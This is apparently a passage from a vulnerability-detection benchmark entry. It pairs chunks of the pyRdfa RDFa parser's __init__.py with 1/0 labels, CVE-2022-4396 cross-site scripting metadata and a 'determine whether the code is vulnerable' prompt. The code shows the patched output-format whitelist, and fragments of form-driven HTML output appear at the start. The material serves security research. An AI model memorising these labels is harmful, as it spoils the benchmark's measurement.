%s</dd>\\n\" % outputFormat", "\t\tif \"space_preserve\" in form : retval +=\"<dt>Space preserve:</dt><dd> %s</dd>\\n\" % form[\"space_preserve\"].value", "\t\tretval +=\"</dl>\\n\"\n\t\tretval +=\"</body>\\n\"\n\t\tretval +=\"</html>\\n\"\n\t\treturn retval" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1 ]
PreciseBugs
{"buggy_code_end_loc": [946], "buggy_code_start_loc": [457], "filenames": ["pyRdfa/__init__.py"], "fixing_code_end_loc": [959], "fixing_code_start_loc": [458], "message": "** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in RDFlib pyrdfa3 and classified as problematic. This issue affects the function _get_option of the file pyRdfa/__init__.py. The manipulation leads to cross site scripting. The attack may be initiated remotely. The name of the patch is ffd1d62dd50d5f4190013b39cedcdfbd81f3ce3e. It is recommended to apply a patch to fix this issue. The identifier VDB-215249 was assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:pyrdfa3_project:pyrdfa3:-:*:*:*:*:python:*:*", "matchCriteriaId": "9F232A28-7BE9-4AA0-968F-3B31AE62E9FA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "** UNSUPPORTED WHEN ASSIGNED ** A vulnerability was found in RDFlib pyrdfa3 and classified as problematic. This issue affects the function _get_option of the file pyRdfa/__init__.py. The manipulation leads to cross site scripting. The attack may be initiated remotely. The name of the patch is ffd1d62dd50d5f4190013b39cedcdfbd81f3ce3e. It is recommended to apply a patch to fix this issue. The identifier VDB-215249 was assigned to this vulnerability. NOTE: This vulnerability only affects products that are no longer supported by the maintainer."}], "evaluatorComment": null, "id": "CVE-2022-4396", "lastModified": "2022-12-13T14:57:10.653", "metrics": {"cvssMetricV2": null, "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 3.5, "baseSeverity": "LOW", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.1, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary"}]}, "published": "2022-12-10T12:15:10.797", "references": [{"source": "cna@vuldb.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/RDFLib/pyrdfa3/commit/ffd1d62dd50d5f4190013b39cedcdfbd81f3ce3e"}, {"source": "cna@vuldb.com", "tags": ["Issue Tracking", "Patch", "Third Party Advisory"], "url": "https://github.com/RDFLib/pyrdfa3/pull/40"}, {"source": "cna@vuldb.com", "tags": ["Third Party Advisory"], "url": "https://vuldb.com/?id.215249"}], "sourceIdentifier": "cna@vuldb.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-707"}, {"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-79"}], "source": "cna@vuldb.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/RDFLib/pyrdfa3/commit/ffd1d62dd50d5f4190013b39cedcdfbd81f3ce3e"}, "type": "CWE-79"}
140
Determine whether the {function_name} code is vulnerable or not.
[ "# -*- coding: utf-8 -*-\n\"\"\"\nRDFa 1.1 parser, also referred to as a “RDFa Distiller”. It is\ndeployed, via a CGI front-end, on the U{W3C RDFa 1.1 Distiller page<http://www.w3.org/2012/pyRdfa/>}.", "For details on RDFa, the reader should consult the U{RDFa Core 1.1<http://www.w3.org/TR/rdfa-core/>}, U{XHTML+RDFa1.1<http://www.w3.org/TR/2010/xhtml-rdfa>}, and the U{RDFa 1.1 Lite<http://www.w3.org/TR/rdfa-lite/>} documents.\nThe U{RDFa 1.1 Primer<http://www.w3.org/TR/owl2-primer/>} may also prove helpful.", "This package can also be downloaded U{from GitHub<https://github.com/RDFLib/pyrdfa3>}. The\ndistribution also includes the CGI front-end and a separate utility script to be run locally.", "Note that this package is an updated version of a U{previous RDFa distiller<http://www.w3.org/2007/08/pyRdfa>} that was developed\nfor RDFa 1.0. Although it reuses large portions of that code, it has been quite thoroughly rewritten, hence put in a completely\ndifferent project. (The version numbering has been continued, though, to avoid any kind of misunderstandings. This version has version numbers \"3.0.0\" or higher.)", "(Simple) Usage\n==============\nFrom a Python file, expecting a Turtle output::\n from pyRdfa import pyRdfa\n print pyRdfa().rdf_from_source('filename')\nOther output formats are also possible. E.g., to produce RDF/XML output, one could use::\n from pyRdfa import pyRdfa\n print pyRdfa().rdf_from_source('filename', outputFormat='pretty-xml')\nIt is also possible to embed an RDFa processing. Eg, using::\n from pyRdfa import pyRdfa\n graph = pyRdfa().graph_from_source('filename')\nreturns an RDFLib.Graph object instead of a serialization thereof. See the the description of the\nL{pyRdfa class<pyRdfa.pyRdfa>} for further possible entry points details.", "There is also, as part of this module, a L{separate entry for CGI calls<processURI>}.", "Return (serialization) formats\n------------------------------", "The package relies on RDFLib. By default, it relies therefore on the serializers coming with the local RDFLib distribution. However, there has been some issues with serializers of older RDFLib releases; also, some output formats, like JSON-LD, are not (yet) part of the standard RDFLib distribution. A companion package, called pyRdfaExtras, is part of the download, and it includes some of those extra serializers. The extra format (not part of the RDFLib core) is U{JSON-LD<http://json-ld.org/spec/latest/json-ld-syntax/>}, whose 'key' is 'json', when used in the 'parse' method of an RDFLib graph.", "(Note in 2018: the bugs that needed pyRdfaExtras are gone with the RDFLib versions, and the json-ld serializer and parser can be U{downloaded from github<https://github.com/RDFLib/rdflib-jsonld>} (or installed via pip). This means that importing pyRdfaExtras is done only when running older (i.e., 2.X.X) RDFLib versions and can be safely ignored these days.) ", "Options\n=======", "The package also implements some optional features that are not part of the RDFa recommendations. At the moment these are:", " - possibility for plain literals to be normalized in terms of white spaces. Default: false. (The RDFa specification requires keeping the white spaces and leave applications to normalize them, if needed)\n - inclusion of embedded RDF: Turtle content may be enclosed in a C{script} element and typed as C{text/turtle}, U{defined by the RDF Working Group<http://www.w3.org/TR/turtle/>}. Alternatively, some XML dialects (e.g., SVG) allows the usage of RDF/XML as part of their core content to define metadata in RDF. For both of these cases pyRdfa parses these serialized RDF content and adds the resulting triples to the output Graph. Default: true.\n - extra, built-in transformers are executed on the DOM tree prior to RDFa processing (see below). These transformers can be provided by the end user.", "Options are collected in an instance of the L{Options} class and may be passed to the processing functions as an extra argument. E.g., to allow the inclusion of embedded content::\n from pyRdfa.options import Options\n options = Options(embedded_rdf=True)\n print pyRdfa(options=options).rdf_from_source('filename')", "See the description of the L{Options} class for the details.", "\nHost Languages\n==============", "RDFa 1.1. Core is defined for generic XML; there are specific documents to describe how the generic specification is applied to\nXHTML and HTML5.", "pyRdfa makes an automatic switch among these based on the content type of the source as returned by an HTTP request. The following are the\npossible host languages:\n - if the content type is C{text/html}, the content is HTML5\n - if the content type is C{application/xhtml+xml} I{and} the right DTD is used, the content is XHTML1\n - if the content type is C{application/xhtml+xml} and no or an unknown DTD is used, the content is XHTML5\n - if the content type is C{application/svg+xml}, the content type is SVG\n - if the content type is C{application/atom+xml}, the content type is SVG\n - if the content type is C{application/xml} or C{application/xxx+xml} (but 'xxx' is not 'atom' or 'svg'), the content type is XML", "If local files are used, pyRdfa makes a guess on the content type based on the file name suffix: C{.html} is for HTML5, C{.xhtml} for XHTML1, C{.svg} for SVG, anything else is considered to be general XML. Finally, the content type may be set by the caller when initializing the L{pyRdfa class<pyRdfa.pyRdfa>}.", "Beyond the differences described in the RDFa specification, the main difference is the parser used to parse the source. In the case of HTML5, pyRdfa uses an U{HTML5 parser<http://code.google.com/p/html5lib/>}; for all other cases the simple XML parser, part of the core Python environment, is used. This may be significant in the case of erroneous sources: indeed, the HTML5 parser may do adjustments on\nthe DOM tree before handing it over to the distiller. Furthermore, SVG is also recognized as a type that allows embedded RDF in the form of RDF/XML.", "See the variables in the L{host} module if a new host language is added to the system. The current host language information is available for transformers via the option argument, too, and can be used to control the effect of the transformer.", "Vocabularies\n============", "RDFa 1.1 has the notion of vocabulary files (using the C{@vocab} attribute) that may be used to expand the generated RDF graph. Expansion is based on some very simply RDF Schema and OWL statements on sub-properties and sub-classes, and equivalences.", "pyRdfa implements this feature, although it does not do this by default. The extra C{vocab_expansion} parameter should be used for this extra step, for example::\n from pyRdfa.options import Options\n options = Options(vocab_expansion=True)\n print pyRdfa(options=options).rdf_from_source('filename')", "The triples in the vocabulary files themselves (i.e., the small ontology in RDF Schema and OWL) are removed from the result, leaving the inferred property and type relationships only (additionally to the “core” RDF content).", "Vocabulary caching\n------------------", "By default, pyRdfa uses a caching mechanism instead of fetching the vocabulary files each time their URI is met as a C{@vocab} attribute value. (This behavior can be switched off setting the C{vocab_cache} option to false.)", "Caching happens in a file system directory. The directory itself is determined by the platform the tool is used on, namely:\n - On Windows, it is the C{pyRdfa-cache} subdirectory of the C{%APPDATA%} environment variable\n - On MacOS, it is the C{~/Library/Application Support/pyRdfa-cache}\n - Otherwise, it is the C{~/.pyRdfa-cache}", "This automatic choice can be overridden by the C{PyRdfaCacheDir} environment variable.", "Caching can be set to be read-only, i.e., the setup might generate the cache files off-line instead of letting the tool writing its own cache when operating, e.g., as a service on the Web. This can be achieved by making the cache directory read only.", "If the directories are neither readable nor writable, the vocabulary files are retrieved via HTTP every time they are hit. This may slow down processing, it is advised to avoid such a setup for the package.", "The cache includes a separate index file and a file for each vocabulary file. Cache control is based upon the C{EXPIRES} header of a vocabulary file’s HTTP return header: when first seen, this data is stored in the index file and controls whether the cache has to be renewed or not. If the HTTP return header does not have this entry, the date is artificially set ot the current date plus one day.", "(The cache files themselves are dumped and loaded using U{Python’s built in cPickle package<http://docs.python.org/release/2.7/library/pickle.html#module-cPickle>}. These are binary files. Care should be taken if they are managed by CVS: they must be declared as binary files when adding them to the repository.)", "RDFa 1.1 vs. RDFa 1.0\n=====================", "Unfortunately, RDFa 1.1 is I{not} fully backward compatible with RDFa 1.0, meaning that, in a few cases, the triples generated from an RDFa 1.1 source are not the same as for RDFa 1.0. (See the separate U{section in the RDFa 1.1 specification<http://www.w3.org/TR/rdfa-core/#major-differences-with-rdfa-syntax-1.0>} for some further details.)", "This distiller’s default behavior is RDFa 1.1. However, if the source includes, in the top element of the file (e.g., the C{html} element) a C{@version} attribute whose value contains the C{RDFa 1.0} string, then the distiller switches to a RDFa 1.0 mode. (Although the C{@version} attribute is not required in RDFa 1.0, it is fairly commonly used.) Similarly, if the RDFa 1.0 DTD is used in the XHTML source, it will be taken into account (a very frequent setup is that an XHTML file is defined with that DTD and is served as text/html; pyRdfa will consider that file as XHTML5, i.e., parse it with the HTML5 parser, but interpret the RDFa attributes under the RDFa 1.0 rules).", "Transformers\n============", "The package uses the concept of 'transformers': the parsed DOM tree is possibly\ntransformed I{before} performing the real RDFa processing. This transformer structure makes it possible to\nadd additional 'services' without distoring the core code of RDFa processing.", "A transformer is a function with three arguments:", " - C{node}: a DOM node for the top level element of the DOM tree\n - C{options}: the current L{Options} instance\n - C{state}: the current L{ExecutionContext} instance, corresponding to the top level DOM Tree element", "The function may perform any type of change on the DOM tree; the typical behavior is to add or remove attributes on specific elements. Some transformations are included in the package and can be used as examples; see the L{transform} module of the distribution. These are:", " - The C{@name} attribute of the C{meta} element is copied into a C{@property} attribute of the same element\n - Interpreting the 'openid' references in the header. See L{transform.OpenID} for further details.\n - Implementing the Dublin Core dialect to include DC statements from the header. See L{transform.DublinCore} for further details.", "The user of the package may refer add these transformers to L{Options} instance. Here is a possible usage with the “openid” transformer added to the call::\n from pyRdfa.options import Options\n from pyRdfa.transform.OpenID import OpenID_transform\n options = Options(transformers=[OpenID_transform])\n print pyRdfa(options=options).rdf_from_source('filename')", "\n@summary: RDFa parser (distiller)\n@requires: Python version 2.7 or python 3.8 or up\n@requires: U{RDFLib<http://rdflib.net>}; version 3.X is preferred.\n@requires: U{html5lib<http://code.google.com/p/html5lib/>} for the HTML5 parsing (note that version 1.0b1 and 1.0b2 should be avoided, it may lead to unicode encoding problems)\n@requires: U{httpheader<http://deron.meranda.us/python/httpheader/>}; however, a small modification had to make on the original file, so for this reason and to make distribution easier this module (single file) is added to the package.\n@organization: U{World Wide Web Consortium<http://www.w3.org>}\n@author: U{Ivan Herman<a href=\"http://www.w3.org/People/Ivan/\">}\n@license: This software is available for use under the\nU{W3C® SOFTWARE NOTICE AND LICENSE<href=\"http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231\">}", "@var builtInTransformers: List of built-in transformers that are to be run regardless, because they are part of the RDFa spec\n@var CACHE_DIR_VAR: Environment variable used to define cache directories for RDFa vocabularies in case the default setting does not work or is not appropriate.\n@var rdfa_current_version: Current \"official\" version of RDFa that this package implements by default. This can be changed at the invocation of the package\n@var uri_schemes: List of registered (or widely used) URI schemes; used for warnings...\n\"\"\"", "__version__ = \"4.0.0\"\n__author__ = 'Ivan Herman'\n__contact__ = 'Ivan Herman, ivan@w3.org'\n__license__ = 'W3C® SOFTWARE NOTICE AND LICENSE, http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231'", "name = \"pyRdfa3\"", "import sys\nPY3 = (sys.version_info[0] >= 3)", "if PY3 :\n\tfrom io import StringIO\nelse :\n\tfrom StringIO import StringIO", "import os\nimport xml.dom.minidom\nif PY3 :\n\tfrom urllib.parse import urlparse\nelse :\n\tfrom urlparse import urlparse", "import rdflib\nfrom rdflib\timport URIRef\nfrom rdflib\timport Literal\nfrom rdflib\timport BNode\nfrom rdflib\timport Namespace\nif rdflib.__version__ >= \"3.0.0\" :\n\tfrom rdflib\timport RDF as ns_rdf\n\tfrom rdflib\timport RDFS as ns_rdfs\n\tfrom rdflib\timport Graph\nelse :\n\tfrom rdflib.RDFS import RDFSNS as ns_rdfs\n\tfrom rdflib.RDF\t import RDFNS as ns_rdf\n\tfrom rdflib.Graph import Graph", "# Namespace, in the RDFLib sense, for the rdfa vocabulary\nns_rdfa\t\t= Namespace(\"http://www.w3.org/ns/rdfa#\")", "from .extras.httpheader import acceptable_content_type, content_type\nfrom .transform.prototype import handle_prototypes", "# Vocabulary terms for vocab reporting\nRDFA_VOCAB = ns_rdfa[\"usesVocabulary\"]", "# Namespace, in the RDFLib sense, for the XSD Datatypes\nns_xsd\t\t= Namespace('http://www.w3.org/2001/XMLSchema#')", "# Namespace, in the RDFLib sense, for the distiller vocabulary, used as part of the processor graph\nns_distill\t= Namespace(\"http://www.w3.org/2007/08/pyRdfa/vocab#\")", "debug = False", "#########################################################################################################", "# Exception/error handling. Essentially, all the different exceptions are re-packaged into\n# separate exception class, to allow for an easier management on the user level", "class RDFaError(Exception) :\n\t\"\"\"Superclass exceptions representing error conditions defined by the RDFa 1.1 specification.\n\tIt does not add any new functionality to the\n\tException class.\"\"\"\n\tdef __init__(self, msg) :\n\t\tself.msg = msg\n\t\tException.__init__(self)", "class FailedSource(RDFaError) :\n\t\"\"\"Raised when the original source cannot be accessed. It does not add any new functionality to the\n\tException class.\"\"\"\n\tdef __init__(self, msg, http_code = None) :\n\t\tself.msg\t\t= msg\n\t\tself.http_code \t= http_code\n\t\tRDFaError.__init__(self, msg)", "class HTTPError(RDFaError) :\n\t\"\"\"Raised when HTTP problems are detected. It does not add any new functionality to the\n\tException class.\"\"\"\n\tdef __init__(self, http_msg, http_code) :\n\t\tself.msg\t\t= http_msg\n\t\tself.http_code\t= http_code\n\t\tRDFaError.__init__(self,http_msg)", "class ProcessingError(RDFaError) :\n\t\"\"\"Error found during processing. It does not add any new functionality to the\n\tException class.\"\"\"\n\tpass", "class pyRdfaError(Exception) :\n\t\"\"\"Superclass exceptions representing error conditions outside the RDFa 1.1 specification.\"\"\"\n\tpass", "# Error and Warning RDFS classes\nRDFA_Error = ns_rdfa[\"Error\"]\nRDFA_Warning = ns_rdfa[\"Warning\"]\nRDFA_Info = ns_rdfa[\"Information\"]\nNonConformantMarkup = ns_rdfa[\"DocumentError\"]\nUnresolvablePrefix = ns_rdfa[\"UnresolvedCURIE\"]\nUnresolvableReference = ns_rdfa[\"UnresolvedCURIE\"]\nUnresolvableTerm = ns_rdfa[\"UnresolvedTerm\"]\nVocabReferenceError = ns_rdfa[\"VocabReferenceError\"]\nPrefixRedefinitionWarning = ns_rdfa[\"PrefixRedefinition\"]", "FileReferenceError = ns_distill[\"FileReferenceError\"]\nHTError = ns_distill[\"HTTPError\"]\nIncorrectPrefixDefinition = ns_distill[\"IncorrectPrefixDefinition\"]\nIncorrectBlankNodeUsage = ns_distill[\"IncorrectBlankNodeUsage\"]\nIncorrectLiteral = ns_distill[\"IncorrectLiteral\"]", "# Error message texts\nerr_no_blank_node = \"Blank node in %s position is not allowed; ignored\"", "err_redefining_URI_as_prefix = \"'%s' a registered or an otherwise used URI scheme, but is defined as a prefix here; is this a mistake? (see, eg, http://en.wikipedia.org/wiki/URI_scheme or http://www.iana.org/assignments/uri-schemes.html for further information for most of the URI schemes)\"\nerr_xmlns_deprecated = \"The usage of 'xmlns' for prefix definition is deprecated; please use the 'prefix' attribute instead (definition for '%s')\"\nerr_bnode_local_prefix = \"The '_' local CURIE prefix is reserved for blank nodes, and cannot be defined as a prefix\"\nerr_col_local_prefix = \"The character ':' is not valid in a CURIE Prefix, and cannot be used in a prefix definition (definition for '%s')\"\nerr_missing_URI_prefix = \"Missing URI in prefix declaration for '%s' (in '%s')\"\nerr_invalid_prefix = \"Invalid prefix declaration '%s' (in '%s')\"\nerr_no_default_prefix = \"Default prefix cannot be changed (in '%s')\"\nerr_prefix_and_xmlns = \"@prefix setting for '%s' overrides the 'xmlns:%s' setting; may be a source of problem if same file is run through RDFa 1.0\"\nerr_non_ncname_prefix = \"Non NCNAME '%s' in prefix definition (in '%s'); ignored\"\nerr_absolute_reference = \"CURIE Reference part contains an authority part: %s (in '%s'); ignored\"\nerr_query_reference = \"CURIE Reference query part contains an unauthorized character: %s (in '%s'); ignored\"\nerr_fragment_reference = \"CURIE Reference fragment part contains an unauthorized character: %s (in '%s'); ignored\"\nerr_lang = \"There is a problem with language setting; either both xml:lang and lang used on an element with different values, or, for (X)HTML5, only xml:lang is used.\"\nerr_URI_scheme = \"Unusual URI scheme used in <%s>; may that be a mistake, e.g., resulting from using an undefined CURIE prefix or an incorrect CURIE?\"\nerr_illegal_safe_CURIE = \"Illegal safe CURIE: %s; ignored\"\nerr_no_CURIE_in_safe_CURIE = \"Safe CURIE is used, but the value does not correspond to a defined CURIE: [%s]; ignored\"\nerr_undefined_terms = \"'%s' is used as a term, but has not been defined as such; ignored\"\nerr_non_legal_CURIE_ref = \"Relative URI is not allowed in this position (or not a legal CURIE reference) '%s'; ignored\"\nerr_undefined_CURIE = \"Undefined CURIE: '%s'; ignored\"\nerr_prefix_redefinition = \"Prefix '%s' (defined in the initial RDFa context or in an ancestor) is redefined\"", "err_unusual_char_in_URI = \"Unusual character in uri: %s; possible error?\"", "#############################################################################################", "from .state import ExecutionContext\nfrom .parse import parse_one_node\nfrom .options import Options\nfrom .transform import top_about, empty_safe_curie, vocab_for_role\nfrom .utils import URIOpener\nfrom .host import HostLanguage, MediaTypes, preferred_suffixes, content_to_host_language", "# Environment variable used to characterize cache directories for RDFa vocabulary files.\nCACHE_DIR_VAR = \"PyRdfaCacheDir\"", "# current \"official\" version of RDFa that this package implements. This can be changed at the invocation of the package\nrdfa_current_version = \"1.1\"", "# I removed schemes that would not appear as a prefix anyway, like iris.beep\n# http://en.wikipedia.org/wiki/URI_scheme seems to be a good source of information\n# as well as http://www.iana.org/assignments/uri-schemes.html\n# There are some overlaps here, but better more than not enough...", "# This comes from wikipedia\nregistered_iana_schemes = [\n\t\"aaa\",\"aaas\",\"acap\",\"cap\",\"cid\",\"crid\",\"data\",\"dav\",\"dict\",\"did\",\"dns\",\"fax\",\"file\", \"ftp\",\"geo\",\"go\",\n\t\"gopher\",\"h323\",\"http\",\"https\",\"iax\",\"icap\",\"im\",\"imap\",\"info\",\"ipp\",\"iris\",\"ldap\", \"lsid\",\n\t\"mailto\",\"mid\",\"modem\",\"msrp\",\"msrps\", \"mtqp\", \"mupdate\",\"news\",\"nfs\",\"nntp\",\"opaquelocktoken\",\n\t\"pop\",\"pres\", \"prospero\",\"rstp\",\"rsync\", \"service\",\"shttp\",\"sieve\",\"sip\",\"sips\", \"sms\", \"snmp\", \"soap\", \"tag\",\n\t\"tel\",\"telnet\", \"tftp\", \"thismessage\",\"tn3270\",\"tip\",\"tv\",\"urn\",\"vemmi\",\"wais\",\"ws\", \"wss\", \"xmpp\"\n]", "# This comes from wikipedia, too\nunofficial_common = [\n\t\"about\", \"adiumxtra\", \"aim\", \"apt\", \"afp\", \"aw\", \"bitcoin\", \"bolo\", \"callto\", \"chrome\", \"coap\",\n\t\"content\", \"cvs\", \"doi\", \"ed2k\", \"facetime\", \"feed\", \"finger\", \"fish\", \"git\", \"gg\",\n\t\"gizmoproject\", \"gtalk\", \"irc\", \"ircs\", \"irc6\", \"itms\", \"jar\", \"javascript\",\n\t\"keyparc\", \"lastfm\", \"ldaps\", \"magnet\", \"maps\", \"market\", \"message\", \"mms\",\n\t\"msnim\", \"mumble\", \"mvn\", \"notes\", \"palm\", \"paparazzi\", \"psync\", \"rmi\",\n\t\"secondlife\", \"sgn\", \"skype\", \"spotify\", \"ssh\", \"sftp\", \"smb\", \"soldat\",\n\t\"steam\", \"svn\", \"teamspeak\", \"things\", \"udb\", \"unreal\", \"ut2004\",\n\t\"ventrillo\", \"view-source\", \"webcal\", \"wtai\", \"wyciwyg\", \"xfire\", \"xri\", \"ymsgr\"\n]", "# These come from the IANA page\nhistorical_iana_schemes = [\n\t\"fax\", \"mailserver\", \"modem\", \"pack\", \"prospero\", \"snews\", \"videotex\", \"wais\"\n]", "provisional_iana_schemes = [\n\t\"afs\", \"dtn\", \"dvb\", \"icon\", \"ipn\", \"jms\", \"oid\", \"rsync\", \"ni\"\n]", "other_used_schemes = [\n\t\"hdl\", \"isbn\", \"issn\", \"mstp\", \"rtmp\", \"rtspu\", \"stp\"\n]", "uri_schemes = registered_iana_schemes + unofficial_common + historical_iana_schemes + provisional_iana_schemes + other_used_schemes", "# List of built-in transformers that are to be run regardless, because they are part of the RDFa spec\nbuiltInTransformers = [\n\tempty_safe_curie, top_about, vocab_for_role\n]", "#########################################################################################################\nclass pyRdfa :\n\t\"\"\"Main processing class for the distiller", "\t@ivar options: an instance of the L{Options} class\n\t@ivar media_type: the preferred default media type, possibly set at initialization\n\t@ivar base: the base value, possibly set at initialization\n\t@ivar http_status: HTTP Status, to be returned when the package is used via a CGI entry. Initially set to 200, may be modified by exception handlers\n\t\"\"\"\n\tdef __init__(self, options = None, base = \"\", media_type = \"\", rdfa_version = None) :\n\t\t\"\"\"\n\t\t@keyword options: Options for the distiller\n\t\t@type options: L{Options}\n\t\t@keyword base: URI for the default \"base\" value (usually the URI of the file to be processed)\n\t\t@keyword media_type: explicit setting of the preferred media type (a.k.a. content type) of the the RDFa source\n\t\t@keyword rdfa_version: the RDFa version that should be used. If not set, the value of the global L{rdfa_current_version} variable is used\n\t\t\"\"\"\n\t\tself.http_status = 200", "\t\tself.base = base\n\t\tif base == \"\" :\n\t\t\tself.required_base = None\n\t\telse :\n\t\t\tself.required_base\t= base\n\t\tself.charset \t\t= None", "\t\t# predefined content type\n\t\tself.media_type = media_type", "\t\tif options == None :\n\t\t\tself.options = Options()\n\t\telse :\n\t\t\tself.options = options", "\t\tif media_type != \"\" :\n\t\t\tself.options.set_host_language(self.media_type)", "\t\tif rdfa_version is not None :\n\t\t\tself.rdfa_version = rdfa_version\n\t\telse :\n\t\t\tself.rdfa_version = None", "\tdef _get_input(self, name) :\n\t\t\"\"\"\n\t\tTrying to guess whether \"name\" is a URI or a string (for a file); it then tries to open this source accordingly,\n\t\treturning a file-like object. If name is none of these, it returns the input argument (that should\n\t\tbe, supposedly, a file-like object already).", "\t\tIf the media type has not been set explicitly at initialization of this instance,\n\t\tthe method also sets the media_type based on the HTTP GET response or the suffix of the file. See\n\t\tL{host.preferred_suffixes} for the suffix to media type mapping.", "\t\t@param name: identifier of the input source\n\t\t@type name: string or a file-like object\n\t\t@return: a file like object if opening \"name\" is possible and successful, \"name\" otherwise\n\t\t\"\"\"\n\t\ttry :\n\t\t\t# Python 2 branch\n\t\t\tisstring = isinstance(name, basestring)\n\t\texcept :\n\t\t\t# Python 3 branch\n\t\t\tisstring = isinstance(name, str)", "\t\ttry :\n\t\t\tif isstring :\n\t\t\t\t# check if this is a URI, ie, if there is a valid 'scheme' part\n\t\t\t\t# otherwise it is considered to be a simple file\n\t\t\t\tif urlparse(name)[0] != \"\" :\n\t\t\t\t\turl_request \t = URIOpener(name)\n\t\t\t\t\tself.base \t\t = url_request.location\n\t\t\t\t\tif self.media_type == \"\" :\n\t\t\t\t\t\tif url_request.content_type in content_to_host_language :\n\t\t\t\t\t\t\tself.media_type = url_request.content_type\n\t\t\t\t\t\telse :\n\t\t\t\t\t\t\tself.media_type = MediaTypes.xml\n\t\t\t\t\t\tself.options.set_host_language(self.media_type)\n\t\t\t\t\tself.charset = url_request.charset\n\t\t\t\t\tif self.required_base == None :\n\t\t\t\t\t\tself.required_base = name\n\t\t\t\t\treturn url_request.data\n\t\t\t\telse :\n\t\t\t\t\t# Creating a File URI for this thing\n\t\t\t\t\tif self.required_base == None :\n\t\t\t\t\t\tself.required_base = \"file://\" + os.path.join(os.getcwd(),name)\n\t\t\t\t\tif self.media_type == \"\" :\n\t\t\t\t\t\tself.media_type = MediaTypes.xml\n\t\t\t\t\t\t# see if the default should be overwritten\n\t\t\t\t\t\tfor suffix in preferred_suffixes :\n\t\t\t\t\t\t\tif name.endswith(suffix) :\n\t\t\t\t\t\t\t\tself.media_type = preferred_suffixes[suffix]\n\t\t\t\t\t\t\t\tself.charset = 'utf-8'\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tself.options.set_host_language(self.media_type)\n\t\t\t\t\treturn open(name)\n\t\t\telse :\n\t\t\t\treturn name\n\t\texcept HTTPError :\n\t\t\traise sys.exc_info()[1]\n\t\texcept RDFaError as e :\n\t\t\traise e\n\t\texcept :\n\t\t\t(type, value, traceback) = sys.exc_info()\n\t\t\traise FailedSource(value)\n", "\t@staticmethod\n\tdef _validate_output_format(outputFormat):\n\t\t\"\"\"\n\t\tMalicious actors may create XSS style issues by using an illegal output format... better be careful\n\t\t\"\"\"\n\t\t# protection against possible malicious URL call\n\t\tif outputFormat not in [\"turtle\", \"n3\", \"xml\", \"pretty-xml\", \"nt\", \"json-ld\"] :\n\t\t\toutputFormat = \"turtle\"\n\t\treturn outputFormat\n\t\t", "\t####################################################################################################################\n\t# Externally used methods\n\t#\n\tdef graph_from_DOM(self, dom, graph = None, pgraph = None) :\n\t\t\"\"\"\n\t\tExtract the RDF Graph from a DOM tree. This is where the real processing happens. All other methods get down to this\n\t\tone, eventually (e.g., after opening a URI and parsing it into a DOM).\n\t\t@param dom: a DOM Node element, the top level entry node for the whole tree (i.e., the C{dom.documentElement} is used to initiate processing down the node hierarchy)\n\t\t@keyword graph: an RDF Graph (if None, than a new one is created)\n\t\t@type graph: rdflib Graph instance.\n\t\t@keyword pgraph: an RDF Graph to hold (possibly) the processor graph content. If None, and the error/warning triples are to be generated, they will be added to the returned graph. Otherwise they are stored in this graph.\n\t\t@type pgraph: rdflib Graph instance\n\t\t@return: an RDF Graph\n\t\t@rtype: rdflib Graph instance\n\t\t\"\"\"\n\t\tdef copyGraph(tog, fromg) :\n\t\t\tfor t in fromg :\n\t\t\t\ttog.add(t)\n\t\t\tfor k,ns in fromg.namespaces() :\n\t\t\t\ttog.bind(k,ns)", "\t\tif graph == None :\n\t\t\t# Create the RDF Graph, that will contain the return triples...\n\t\t\tgraph = Graph()", "\t\t# this will collect the content, the 'default graph', as called in the RDFa spec\n\t\tdefault_graph = Graph()", "\t\t# get the DOM tree\n\t\ttopElement = dom.documentElement", "\t\t# Create the 